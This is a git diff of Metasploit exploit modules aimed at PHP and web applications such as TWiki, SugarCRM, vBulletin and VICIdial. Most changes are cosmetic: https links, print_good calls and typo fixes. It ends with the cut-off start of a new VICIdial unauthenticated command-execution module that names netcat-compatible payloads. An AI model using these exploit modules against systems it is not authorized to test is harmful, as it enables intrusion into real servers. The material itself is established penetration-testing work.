@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/unix/webapp/php_eval.rb b/modules/exploits/unix/webapp/php_eval.rb
index 9c6d1cbb9b..9556d6e642 100644
--- a/modules/exploits/unix/webapp/php_eval.rb
+++ b/modules/exploits/unix/webapp/php_eval.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -45,6 +45,7 @@ class MetasploitModule < Msf::Exploit::Remote
     register_options(
       [
         OptString.new('URIPATH',   [ true,  "The URI to request, with the eval()'d parameter changed to !CODE!", '/test.php?evalme=!CODE!']),
+        OptString.new('HEADERS',   [false,  "Any additional HTTP headers to send, cookies for example. Format: \"header:value,header2:value2\""])
       ])
 
   end
@@ -60,6 +61,18 @@ class MetasploitModule < Msf::Exploit::Remote
     return Exploit::CheckCode::Safe
   end
 
+  def datastore_headers
+    headers = datastore['HEADERS'] ? datastore['HEADERS'].dup : ""
+    headers_hash = {}
+    if headers && !headers.empty?
+      headers.split(',').each do |header|
+        key, value = header.split(':')
+        headers_hash[key] = value.strip
+      end
+    end
+    headers_hash
+  end
+
   def exploit
     # very short timeout because the request may never return if we're
     # sending a socket payload
@@ -75,10 +88,9 @@ class MetasploitModule < Msf::Exploit::Remote
     response = send_request_raw({
         'global' => true,
         'uri' => uri,
-        'headers' => {
+        'headers' => datastore_headers.merge(
             headername => payload.encoded,
-            'Connection' => 'close'
-          }
+            'Connection' => 'close')
       },timeout)
     if response and response.code != 200
       print_error("Server returned non-200 status code (#{response.code})")
diff --git a/modules/exploits/unix/webapp/php_include.rb b/modules/exploits/unix/webapp/php_include.rb
index f46bf6d26c..bad897e5c1 100644
--- a/modules/exploits/unix/webapp/php_include.rb
+++ b/modules/exploits/unix/webapp/php_include.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/unix/webapp/php_vbulletin_template.rb b/modules/exploits/unix/webapp/php_vbulletin_template.rb
index bfe008cbea..c8f099223b 100644
--- a/modules/exploits/unix/webapp/php_vbulletin_template.rb
+++ b/modules/exploits/unix/webapp/php_vbulletin_template.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -100,7 +100,7 @@ class MetasploitModule < Msf::Exploit::Remote
       print_error('exploit failed: no response')
     else
       if response.length == 0
-        print_status('exploit successful')
+        print_good('Exploit Successful')
       else
         print_status("Command returned #{response}")
       end
diff --git a/modules/exploits/unix/webapp/php_xmlrpc_eval.rb b/modules/exploits/unix/webapp/php_xmlrpc_eval.rb
index 341c07333b..935fa8d976 100644
--- a/modules/exploits/unix/webapp/php_xmlrpc_eval.rb
+++ b/modules/exploits/unix/webapp/php_xmlrpc_eval.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -105,7 +105,7 @@ class MetasploitModule < Msf::Exploit::Remote
       print_error('exploit failed: no response')
     else
       if response.length == 0
-        print_status('exploit successful')
+        print_good('Exploit Successful')
       else
         print_status("Command returned #{response}")
       end
diff --git a/modules/exploits/unix/webapp/phpbb_highlight.rb b/modules/exploits/unix/webapp/phpbb_highlight.rb
index 0becc14a37..9b2b446dfa 100644
--- a/modules/exploits/unix/webapp/phpbb_highlight.rb
+++ b/modules/exploits/unix/webapp/phpbb_highlight.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -123,5 +123,4 @@ class MetasploitModule < Msf::Exploit::Remote
     end
 
   end
-
 end
diff --git a/modules/exploits/unix/webapp/phpmyadmin_config.rb b/modules/exploits/unix/webapp/phpmyadmin_config.rb
index 077b4e13ae..96e979c805 100644
--- a/modules/exploits/unix/webapp/phpmyadmin_config.rb
+++ b/modules/exploits/unix/webapp/phpmyadmin_config.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -12,7 +12,7 @@ class MetasploitModule < Msf::Exploit::Remote
     super(update_info(info,
       'Name'           => 'PhpMyAdmin Config File Code Injection',
       'Description'    => %q{
-          This module exploits a vulnerability in PhpMyAdmin's setup
+          This module exploits a vulnerability in phpMyAdmin's setup
         feature which allows an attacker to inject arbitrary PHP
         code into a configuration file. The original advisory says
         the vulnerability is present in phpMyAdmin versions 2.11.x
diff --git a/modules/exploits/unix/webapp/piwik_superuser_plugin_upload.rb b/modules/exploits/unix/webapp/piwik_superuser_plugin_upload.rb
index 6607238efe..60d79f6a28 100644
--- a/modules/exploits/unix/webapp/piwik_superuser_plugin_upload.rb
+++ b/modules/exploits/unix/webapp/piwik_superuser_plugin_upload.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://www.metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/unix/webapp/projectpier_upload_exec.rb b/modules/exploits/unix/webapp/projectpier_upload_exec.rb
index 05f5c04937..e87d9af94a 100644
--- a/modules/exploits/unix/webapp/projectpier_upload_exec.rb
+++ b/modules/exploits/unix/webapp/projectpier_upload_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/unix/webapp/projectsend_upload_exec.rb b/modules/exploits/unix/webapp/projectsend_upload_exec.rb
index f9f2342ff9..4f391e6b15 100644
--- a/modules/exploits/unix/webapp/projectsend_upload_exec.rb
+++ b/modules/exploits/unix/webapp/projectsend_upload_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/unix/webapp/qtss_parse_xml_exec.rb b/modules/exploits/unix/webapp/qtss_parse_xml_exec.rb
index 642bb6965a..c2401dbdc7 100644
--- a/modules/exploits/unix/webapp/qtss_parse_xml_exec.rb
+++ b/modules/exploits/unix/webapp/qtss_parse_xml_exec.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = ExcellentRanking
 
diff --git a/modules/exploits/unix/webapp/redmine_scm_exec.rb b/modules/exploits/unix/webapp/redmine_scm_exec.rb
index a6d921f8d9..48eab4db6f 100644
--- a/modules/exploits/unix/webapp/redmine_scm_exec.rb
+++ b/modules/exploits/unix/webapp/redmine_scm_exec.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = ExcellentRanking
 
@@ -70,5 +68,4 @@ class MetasploitModule < Msf::Exploit::Remote
     end
     handler
   end
-
 end
diff --git a/modules/exploits/unix/webapp/seportal_sqli_exec.rb b/modules/exploits/unix/webapp/seportal_sqli_exec.rb
index 19c1323b47..11a2c23335 100644
--- a/modules/exploits/unix/webapp/seportal_sqli_exec.rb
+++ b/modules/exploits/unix/webapp/seportal_sqli_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -92,7 +92,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
     if res && res.code == 302 and res.get_cookies =~ /sessionid=([a-zA-Z0-9]+)/
       session = $1
-      print_status("Login successful")
+      print_good("Login Successful")
       print_status("Session cookie is [ #{session} ]")
     else
       fail_with(Failure::Unknown, "#{peer} - Login was not succesful!")
@@ -168,5 +168,4 @@ class MetasploitModule < Msf::Exploit::Remote
     end
 
   end
-
 end
diff --git a/modules/exploits/unix/webapp/simple_e_document_upload_exec.rb b/modules/exploits/unix/webapp/simple_e_document_upload_exec.rb
index 0a7cbe33fb..82e139092b 100644
--- a/modules/exploits/unix/webapp/simple_e_document_upload_exec.rb
+++ b/modules/exploits/unix/webapp/simple_e_document_upload_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/unix/webapp/sixapart_movabletype_storable_exec.rb b/modules/exploits/unix/webapp/sixapart_movabletype_storable_exec.rb
index d19c9e5c9c..32a69f4379 100644
--- a/modules/exploits/unix/webapp/sixapart_movabletype_storable_exec.rb
+++ b/modules/exploits/unix/webapp/sixapart_movabletype_storable_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -101,7 +101,7 @@ print "LFI test for storable flaw is: $frozen\n";
       })
 
     unless res && res.code == 200 && res.body.include?("Can't locate XXXCHECKXXX.pm")
-      vprint_status("Failed XXXCHECKXXX.pm load test");
+      vprint_error("Failed XXXCHECKXXX.pm load test");
       return Exploit::CheckCode::Safe
     end
     Exploit::CheckCode::Vulnerable
@@ -215,7 +215,7 @@ print "RCE unlink payload requiring CGI: $frozen\n";
     })
 
     if res && res.code == 200
-      print_status("Successfully sent unlink request")
+      print_good("Successfully sent unlink request")
     else
       fail_with(Failure::Unknown, "Error sending unlink request")
     end
@@ -238,7 +238,7 @@ print "RCE unlink payload requiring CGI: $frozen\n";
     })
 
     if res && res.code == 200
-      print_status("Successfully sent mt-config rewrite request")
+      print_good("Successfully sent mt-config rewrite request")
     else
       fail_with(Failure::Unknown, "Error sending mt-config rewrite request")
     end
@@ -255,5 +255,4 @@ print "RCE unlink payload requiring CGI: $frozen\n";
       }
     }, 5)
   end
-
 end
diff --git a/modules/exploits/unix/webapp/skybluecanvas_exec.rb b/modules/exploits/unix/webapp/skybluecanvas_exec.rb
index 259e119483..b7ad795d6e 100644
--- a/modules/exploits/unix/webapp/skybluecanvas_exec.rb
+++ b/modules/exploits/unix/webapp/skybluecanvas_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/unix/webapp/sphpblog_file_upload.rb b/modules/exploits/unix/webapp/sphpblog_file_upload.rb
index 2c6894ae6b..abd6877ae3 100644
--- a/modules/exploits/unix/webapp/sphpblog_file_upload.rb
+++ b/modules/exploits/unix/webapp/sphpblog_file_upload.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -79,7 +79,7 @@ class MetasploitModule < Msf::Exploit::Remote
     }, 25)
 
     if (res and res.message == "OK" and res.body)
-      print_status("Successfully retrieved hash: #{res.body}")
+      print_good("Successfully retrieved hash: #{res.body}")
       return res.body
     else
       fail_with(Failure::NotVulnerable, "Failed to retrieve hash, server may not be vulnerable.")
@@ -96,7 +96,7 @@ class MetasploitModule < Msf::Exploit::Remote
     }, 25)
 
     if (res)
-      print_status("Successfully created temporary account.")
+      print_good("Successfully created temporary account.")
     else
       print_error("Unable to create a temporary account!")
     end
@@ -111,11 +111,11 @@ class MetasploitModule < Msf::Exploit::Remote
     }, 25)
 
     if res
-      print_status("Successfully logged in as #{user}:#{pass}")
+      print_good("Successfully logged in as #{user}:#{pass}")
 
       if res.get_cookies =~ /my_id=(.*)/
         session = $1
-        print_status("Successfully retrieved cookie: #{session}")
+        print_good("Successfully retrieved cookie: #{session}")
         return session
       else
         print_error("Error retrieving cookie!")
@@ -147,7 +147,7 @@ class MetasploitModule < Msf::Exploit::Remote
     }, 25)
 
     if (res)
-      print_status("Successfully uploaded #{newpage}")
+      print_good("Successfully Uploaded #{newpage}")
     else
       print_error("Error uploading #{newpage}")
     end
@@ -162,7 +162,7 @@ class MetasploitModule < Msf::Exploit::Remote
     }, 25)
 
     if (res)
-      print_status("Successfully reset original password hash.")
+      print_good("Successfully reset original password hash.")
     else
       print_error("Error resetting original password!")
     end
@@ -177,7 +177,7 @@ class MetasploitModule < Msf::Exploit::Remote
     }, 25)
 
     if (res)
-      print_status("Successfully removed #{file}")
+      print_good("Successfully removed #{file}")
     else
       print_error("Error removing #{file}!")
     end
diff --git a/modules/exploits/unix/webapp/spip_connect_exec.rb b/modules/exploits/unix/webapp/spip_connect_exec.rb
index 0ee26fbe68..b1e395cb60 100644
--- a/modules/exploits/unix/webapp/spip_connect_exec.rb
+++ b/modules/exploits/unix/webapp/spip_connect_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -14,7 +14,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Description'    => %q{
         This module exploits a PHP code injection in SPIP. The vulnerability exists in the
         connect parameter and allows an unauthenticated user to execute arbitrary commands
-        with web user privileges. Branchs 2.0, 2.1 and 3 are concerned. Vulnerable versions
+        with web user privileges. Branches 2.0, 2.1 and 3 are concerned. Vulnerable versions
         are <2.0.21, <2.1.16 and < 3.0.3, but this module works only against branch 2.0 and
         has been tested successfully with SPIP 2.0.11 and SPIP 2.0.20 with Apache on Ubuntu
         and Fedora linux distributions.
@@ -95,5 +95,4 @@ class MetasploitModule < Msf::Exploit::Remote
         }
       })
   end
-
 end
diff --git a/modules/exploits/unix/webapp/squash_yaml_exec.rb b/modules/exploits/unix/webapp/squash_yaml_exec.rb
index 014d339826..120c023727 100644
--- a/modules/exploits/unix/webapp/squash_yaml_exec.rb
+++ b/modules/exploits/unix/webapp/squash_yaml_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/unix/webapp/squirrelmail_pgp_plugin.rb b/modules/exploits/unix/webapp/squirrelmail_pgp_plugin.rb
index cfbfb4f881..9502632706 100644
--- a/modules/exploits/unix/webapp/squirrelmail_pgp_plugin.rb
+++ b/modules/exploits/unix/webapp/squirrelmail_pgp_plugin.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -109,5 +109,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     print_status("Waiting for a payload session (backgrounding)...")
   end
-
 end
diff --git a/modules/exploits/unix/webapp/sugarcrm_rest_unserialize_exec.rb b/modules/exploits/unix/webapp/sugarcrm_rest_unserialize_exec.rb
index bb95e70ea1..8134f4f2b5 100644
--- a/modules/exploits/unix/webapp/sugarcrm_rest_unserialize_exec.rb
+++ b/modules/exploits/unix/webapp/sugarcrm_rest_unserialize_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/unix/webapp/sugarcrm_unserialize_exec.rb b/modules/exploits/unix/webapp/sugarcrm_unserialize_exec.rb
index 2a35d13a7f..0026af2ad4 100644
--- a/modules/exploits/unix/webapp/sugarcrm_unserialize_exec.rb
+++ b/modules/exploits/unix/webapp/sugarcrm_unserialize_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -104,7 +104,7 @@ class MetasploitModule < Msf::Exploit::Remote
       fail_with(Failure::NoAccess, "#{peer} - Login failed with \"#{username}:#{password}\" (No session ID)")
     end
 
-    print_status("Login successful with #{username}:#{password}")
+    print_good("Login Successful (#{username}:#{password})")
 
     data = "module=Contacts&"
     data << "Contacts2_CONTACT_offset=1&"
diff --git a/modules/exploits/unix/webapp/tikiwiki_graph_formula_exec.rb b/modules/exploits/unix/webapp/tikiwiki_graph_formula_exec.rb
index 41a8037b82..9048289922 100644
--- a/modules/exploits/unix/webapp/tikiwiki_graph_formula_exec.rb
+++ b/modules/exploits/unix/webapp/tikiwiki_graph_formula_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -221,5 +221,4 @@ class MetasploitModule < Msf::Exploit::Remote
     uri << query
     uri
   end
-
 end
diff --git a/modules/exploits/unix/webapp/tikiwiki_jhot_exec.rb b/modules/exploits/unix/webapp/tikiwiki_jhot_exec.rb
index 092860b693..ab216576d8 100644
--- a/modules/exploits/unix/webapp/tikiwiki_jhot_exec.rb
+++ b/modules/exploits/unix/webapp/tikiwiki_jhot_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -142,7 +142,7 @@ class MetasploitModule < Msf::Exploit::Remote
       }, 25)
 
     if (res and res.message == "OK")
-      print_status("Successfully created temporary file.")
+      print_good("Successfully created temporary file.")
     else
       print_error("Error creating temporary file.")
     end
@@ -191,7 +191,7 @@ class MetasploitModule < Msf::Exploit::Remote
       }, 25)
 
     if (res and res.message == "OK")
-      print_status("Successfully remove temporary file.")
+      print_good("Successfully remove temporary file.")
     else
       print_error("Error removing temporary file.")
     end
diff --git a/modules/exploits/unix/webapp/tikiwiki_unserialize_exec.rb b/modules/exploits/unix/webapp/tikiwiki_unserialize_exec.rb
index 7797143515..b12de673f1 100644
--- a/modules/exploits/unix/webapp/tikiwiki_unserialize_exec.rb
+++ b/modules/exploits/unix/webapp/tikiwiki_unserialize_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/unix/webapp/tikiwiki_upload_exec.rb b/modules/exploits/unix/webapp/tikiwiki_upload_exec.rb
index e0109e2098..214bfdd9fc 100644
--- a/modules/exploits/unix/webapp/tikiwiki_upload_exec.rb
+++ b/modules/exploits/unix/webapp/tikiwiki_upload_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -17,8 +17,8 @@ class MetasploitModule < Msf::Exploit::Remote
         which could be abused to allow unauthenticated users to execute arbitrary code
         under the context of the web server user.
 
-        The issue comes with one of the 3rd party components. Name of that components is
-        ELFinder -version 2.0-. This components comes with default example page which
+        The issue comes with one of the 3rd party components. Name of that component is
+        ELFinder -version 2.0-. This component comes with default example page which
         demonstrates file operations such as upload, remove, rename, create directory etc.
         Default configuration does not force validations such as file extension, content-type etc.
         Thus, unauthenticated user can upload PHP file.
diff --git a/modules/exploits/unix/webapp/trixbox_langchoice.rb b/modules/exploits/unix/webapp/trixbox_langchoice.rb
index 060d3b4236..d794d3be1f 100644
--- a/modules/exploits/unix/webapp/trixbox_langchoice.rb
+++ b/modules/exploits/unix/webapp/trixbox_langchoice.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -82,7 +82,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
     # Make sure cookies were set
     if defined? cookies and cookies =~ PHPSESSID_REGEX
-      vprint_status "We were successfully sent a PHPSESSID of '#{$1}'"
+      vprint_good "We were successfully sent a PHPSESSID of '#{$1}'"
     else
       vprint_error 'The server did not send us the cookie we were looking for'
       return Exploit::CheckCode::Safe
diff --git a/modules/exploits/unix/webapp/tuleap_unserialize_exec.rb b/modules/exploits/unix/webapp/tuleap_unserialize_exec.rb
index 43c7a3e547..e320e173ec 100644
--- a/modules/exploits/unix/webapp/tuleap_unserialize_exec.rb
+++ b/modules/exploits/unix/webapp/tuleap_unserialize_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -12,7 +12,7 @@ class MetasploitModule < Msf::Exploit::Remote
     super(update_info(info,
       'Name'           => 'Tuleap PHP Unserialize Code Execution',
       'Description'    => %q{
-        This module exploits a PHP object injection vulnerability in Tuelap <= 7.6-4 which could be
+        This module exploits a PHP object injection vulnerability in Tuleap <= 7.6-4 which could be
         abused to allow authenticated users to execute arbitrary code with the permissions of the
         web server. The dangerous unserialize() call exists in the 'src/www/project/register.php'
         file. The exploit abuses the destructor method from the Jabbex class in order to reach a
@@ -72,7 +72,7 @@ class MetasploitModule < Msf::Exploit::Remote
       fail_with(Failure::NoAccess, "#{peer} - Login failed with #{username}:#{password}")
     end
 
-    print_status("Login successful with #{username}:#{password}")
+    print_good("Login Successful (#{username}:#{password})")
     res.get_cookies
   end
 
diff --git a/modules/exploits/unix/webapp/twiki_history.rb b/modules/exploits/unix/webapp/twiki_history.rb
index 439cc1faa3..44b37ca0e5 100644
--- a/modules/exploits/unix/webapp/twiki_history.rb
+++ b/modules/exploits/unix/webapp/twiki_history.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -115,12 +115,11 @@ class MetasploitModule < Msf::Exploit::Remote
       }, 25)
 
     if (res and res.code == 200)
-      print_status("Successfully sent exploit request")
+      print_good("Successfully sent exploit request")
     else
       fail_with(Failure::Unknown, "Error sending exploit request")
     end
 
     handler
   end
-
 end
diff --git a/modules/exploits/unix/webapp/twiki_maketext.rb b/modules/exploits/unix/webapp/twiki_maketext.rb
index da9e5c1eb8..09f36d5456 100644
--- a/modules/exploits/unix/webapp/twiki_maketext.rb
+++ b/modules/exploits/unix/webapp/twiki_maketext.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -21,7 +21,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
         If USERNAME and PASSWORD aren't provided, anonymous access will be tried. Also,
         if the 'TwikiPage' option isn't provided, the module will try to create a random
-        page on the SandBox space.  The modules has been tested successfully on
+        page on the SandBox space.  The module has been tested successfully on
         TWiki 5.1.2 as distributed with the official TWiki-VM-5.1.2-1 virtual machine.
       },
       'Author'         =>
@@ -214,7 +214,6 @@ class MetasploitModule < Msf::Exploit::Remote
     print_good("Exploitation was successful")
 
   end
-
 end
 
 =begin
diff --git a/modules/exploits/unix/webapp/twiki_search.rb b/modules/exploits/unix/webapp/twiki_search.rb
index 9a01eec87a..46180d5985 100644
--- a/modules/exploits/unix/webapp/twiki_search.rb
+++ b/modules/exploits/unix/webapp/twiki_search.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -111,12 +111,11 @@ class MetasploitModule < Msf::Exploit::Remote
       }, 25)
 
     if (res and res.code == 200)
-      print_status("Successfully sent exploit request")
+      print_good("Successfully sent exploit request")
     else
       fail_with(Failure::Unknown, "Error sending exploit request")
     end
 
     handler
   end
-
 end
diff --git a/modules/exploits/unix/webapp/vbulletin_vote_sqli_exec.rb b/modules/exploits/unix/webapp/vbulletin_vote_sqli_exec.rb
index d8654eeb17..f42a01852b 100644
--- a/modules/exploits/unix/webapp/vbulletin_vote_sqli_exec.rb
+++ b/modules/exploits/unix/webapp/vbulletin_vote_sqli_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -369,33 +369,6 @@ class MetasploitModule < Msf::Exploit::Remote
     end
   end
 
-  def report_cred(opts)
-    service_data = {
-      address: opts[:ip],
-      port: opts[:port],
-      service_name: opts[:service_name],
-      protocol: 'tcp',
-      workspace_id: myworkspace_id
-    }
-
-    credential_data = {
-      origin_type: :service,
-      module_fullname: fullname,
-      username: opts[:user],
-      private_data: opts[:password],
-      private_type: :nonreplayable_hash,
-      jtr_format: 'md5,raw-md5'
-    }.merge(service_data)
-
-    login_data = {
-      core: create_credential(credential_data),
-      status: Metasploit::Model::Login::Status::UNTRIED,
-      proof: opts[:proof]
-    }.merge(service_data)
-
-    create_credential_login(login_data)
-  end
-
   def exploit
     print_status("Checking for a valid node id...")
     node_id = get_node
@@ -416,14 +389,18 @@ class MetasploitModule < Msf::Exploit::Remote
 
     for i in 0..count_users - 1
       user = get_user_data(node_id, i)
-      report_cred(
-        ip: rhost,
-        port: rport,
-        user: user[0],
-        password: user[1],
-        service_name: (ssl ? "https" : "http"),
-        proof: "salt: #{user[2]}"
-      )
+      connection_details = {
+          module_fullname: self.fullname,
+          username: user[0],
+          private_data: user[1],
+          private_type: :nonreplayable_hash,
+          jtr_format: 'md5,raw-md5',
+          proof: "salt: #{user[2]}",
+          status: Metasploit::Model::Login::Status::UNTRIED
+      }.merge(service_details)
+      create_credential_and_login(connection_details)
+
+      # why is this stored another way?
       report_auth_info({
         :host => rhost,
         :port => rport,
diff --git a/modules/exploits/unix/webapp/vicidial_manager_send_cmd_exec.rb b/modules/exploits/unix/webapp/vicidial_manager_send_cmd_exec.rb
index e859422404..b0faae0804 100644
--- a/modules/exploits/unix/webapp/vicidial_manager_send_cmd_exec.rb
+++ b/modules/exploits/unix/webapp/vicidial_manager_send_cmd_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -20,7 +20,7 @@ class MetasploitModule < Msf::Exploit::Remote
         be used to bypass the session check as long as at least one session has been
         created at some point in time. In case there isn't any valid session, the user can
         provide astGUIcient credentials in order to create one. The results of the injected
-        command are returned as part of the response from the web server. Affected versions
+        commands are returned as part of the response from the web server. Affected versions
         include 2.7RC1, 2.7, and 2.8-403a. Other versions are likely affected as well. The
         default credentials used by Vicidial are VDCL/donotedit and VDAD/donotedit.
       },
@@ -194,5 +194,4 @@ class MetasploitModule < Msf::Exploit::Remote
     print_good("Exploitation looks feasible, proceeding... ")
     request("#{payload.encoded}", 1)
   end
-
 end
diff --git a/modules/exploits/unix/webapp/vicidial_user_authorization_unauth_cmd_exec.rb b/modules/exploits/unix/webapp/vicidial_user_authorization_unauth_cmd_exec.rb
new file mode 100644
index 0000000000..2127468fa5
--- /dev/null
+++ b/modules/exploits/unix/webapp/vicidial_user_authorization_unauth_cmd_exec.rb
@@ -0,0 +1,112 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::HttpClient
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'VICIdial user_authorization Unauthenticated Command Execution',
+      'Description'    => %q{
+        This module exploits a vulnerability in VICIdial versions
+        2.9 RC 1 to 2.13 RC1 which allows unauthenticated users
+        to execute arbitrary operating system commands as the web
+        server user if password encryption is enabled (disabled
+        by default).
+
+        When password encryption is enabled the user's password
+        supplied using HTTP basic authentication is used in a call
+        to exec().
+
+        This module has been tested successfully on version 2.11 RC2
+        and 2.13 RC1 on CentOS.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         => 'Brendan Coles <bcoles[at]gmail.com>',
+      'References'     =>
+        [
+          ['URL', 'http://www.vicidial.org/VICIDIALmantis/view.php?id=1016']
+        ],
+      'Platform'       => 'unix',
+      'Arch'           => ARCH_CMD,
+      'Payload'        =>
+        {
+          # HTTP Basic authentication password
+          'Space' => 2048,
+          # apostrophe ('), quote ("), semi-colon (;) and backslash (\)
+          # are removed by preg_replace
+          'BadChars' => "\x00\x0A\x22\x27\x3B\x5C",
+          'DisableNops' => true,
+          'Compat' =>
+            {
+              'PayloadType' => 'cmd',
+              'RequiredCmd' => 'generic perl python netcat'
+            }
+        },
